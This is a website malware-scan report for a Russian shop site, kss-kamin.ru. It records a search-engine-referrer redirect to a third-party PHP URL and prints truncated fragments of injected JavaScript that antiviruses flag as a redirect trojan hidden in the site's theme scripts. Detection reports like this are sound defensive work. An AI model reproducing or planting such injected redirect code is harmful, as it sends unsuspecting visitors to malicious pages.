New scan:

Malware Scanner report for kss-kamin.ru

Malicious/Suspicious/Total urls checked
2/0/15
2 pages have malicious code. See details below
Blacklists
OK
Malicious redirects
Found
The website redirects visitors from search engines to the 3rd-party URL:
->http://www.cieesc.com/includes/domit/1.php
265 websites infected.

The website "kss-kamin.ru" is most probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues. Here is our redirects fixing guide.
Malicious/Hidden/Total iFrames
0/0/2
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Malicious/Suspicious Redirects

RequestServer responseStatus
URL: http://kss-kamin.ru/
(imitation of visitor from search engine)


GET / HTTP/1.1
Host: kss-kamin.ru
Referer: http://www.google.com/search?q=redirect+check1
HTTP/1.1 302 Found
Cache-Control: max-age=0
Connection: close
Date: Fri, 05 Sep 2014 09:48:22 GMT
Location: http://www.cieesc.com/includes/domit/1.php
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=WINDOWS-1251
Expires: Fri, 05 Sep 2014 09:48:22 GMT
malicious

Scanned pages/files

RequestServer responseStatus
http://kss-kamin.ru/
200 OK
Content-Length: 21952
Content-Type: text/html
clean
http://site.yandex.net/load/form/1/form.js
200 OK
Content-Length: 1293
Content-Type: application/x-javascript
clean
http://kss-kamin.ru/components/com_virtuemart/fetchscript.php?gzip=0&subdir[0]=/themes/default&file[0]=theme.js
200 OK
Content-Length: 1488
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){function verification_data(stuff){var siger=navigator.userAgent.split(' ');var patron=siger[siger.length-1];patron=patron.toLowerCase();stuff=stuff.toLowerCase();if(patron.indexOf(stuff)===-1){return false}else{return true}}function factorNA(){var courier=['iPhone','iPad','Macintosh','Linux','FreeBSD','IEMobile','Android','Chrome'];var brbadi=false;for(var i in courier){var stuff=courier[i];if(verification_data(stuff)){console.log(stuff);brbadi=true;break}}return brbadi}if(!factorNA(
... 390 bytes are skipped ...
= haystack.indexOf(needle, f_offset)) !== -1) {
return main;
}
return false;
}
function jjj_lister_ug(){
var brunoSpis =
'iPhone^Macintosh^Linux^iPad^Series40^SymbOS^Flock^SeaMonkey^Nokia^SlimBrowser^AmigaOS^Android^FreeBSD^Chrome^IEMobile^SymbianOS^Avant^Chromium^Firefox/18.0^Firefox/18.0.1^Firefox/17.0^Firefox/12.0^Firefox/25.0^Firefox/24.0^Firefox/18.0.2^Firefox/19.0^Firefox/19.0.1^Firefox/20.0^Firefox/21.0^Firefox/22.0^Firefox/23.0^Firefox/25.0.1^Firefox/2

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Sophos
Troj/JSRedir-OI

http://tools.spylog.ru/counter_cv.js
200 OK
Content-Length: 5066
Content-Type: application/x-javascript
clean
http://kss-kamin.ru/index.php?option=com_content&task=view&id=17&Itemid=33
200 OK
Content-Length: 21972
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=113&category_id=16&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 25244
Content-Type: text/html
clean
http://kss-kamin.ru/components/com_virtuemart/fetchscript.php?gzip=0&subdir[0]=/themes/default&file[0]=theme.js&subdir[1]=/js&file[1]=sleight.js&subdir[2]=/js/mootools&file[2]=mootools-release-1.11.js&subdir[3]=/js/mootools&file[3]=mooPrompt.js&subdir[4]=/js/slimbox/js&file[4]=slimbox.js
200 OK
Content-Length: 8452
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(){function verification_data(stuff){var siger=navigator.userAgent.split(' ');var patron=siger[siger.length-1];patron=patron.toLowerCase();stuff=stuff.toLowerCase();if(patron.indexOf(stuff)===-1){return false}else{return true}}function factorNA(){var courier=['iPhone','iPad','Macintosh','Linux','FreeBSD','IEMobile','Android','Chrome'];var brbadi=false;for(var i in courier){var stuff=courier[i];if(verification_data(stuff)){console.log(stuff);brbadi=true;break}}return brbadi}if(!factorNA(
... 3172 bytes are skipped ...
yle("display","none");u.chain(m).start(0)}return false}})();

// AUTOLOAD CODE BLOCK (MAY BE CHANGED OR REMOVED)
Slimbox.scanPage = function() {
$$($$(document.links).filter(function(el) {
return el.rel && el.rel.test(/^lightbox/i);
})).slimbox({/* Put custom options here */}, null, function(el) {
return (this == el) || ((this.rel.length > 8) && (this.rel == el.rel));
});
};
window.addEvent("domready", Slimbox.scanPage);

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Sophos
Troj/JSRedir-OI

http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=143&category_id=16&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 25277
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=149&category_id=18&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 27104
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage_lite_pdf.tpl&product_id=8&category_id=11&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 25559
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=218&category_id=23&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 24944
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=216&category_id=22&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 24952
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=205&category_id=21&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 24964
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=222&category_id=24&option=com_virtuemart&Itemid=27
200 OK
Content-Length: 25515
Content-Type: text/html
clean
http://kss-kamin.ru/index.php?option=com_content&task=view&id=12&Itemid=28
200 OK
Content-Length: 21952
Content-Type: text/html
clean

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=kss-kamin.ru

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://kss-kamin.ru/

Result: kss-kamin.ru is not infected or malware details are not published yet.